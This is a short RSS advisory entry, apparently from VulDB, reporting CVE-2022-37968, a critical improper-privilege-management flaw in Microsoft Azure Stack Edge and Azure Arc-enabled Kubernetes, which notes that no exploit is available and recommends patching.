<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/microsoft:azure_stack_edge">Microsoft Azure Stack Edge and Azure Arc-enabled Kubernetes Cluster</a>. It has been rated as <a href="https://vuldb.com/kb/risk">very critical</a>. This vulnerability affects unknown code. The manipulation leads to improper privilege management.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2022-37968">CVE-2022-37968</a>. Remote exploitation of the attack is possible. No exploit is available.

It is recommended to apply a patch to fix this issue.]]></content:encoded>
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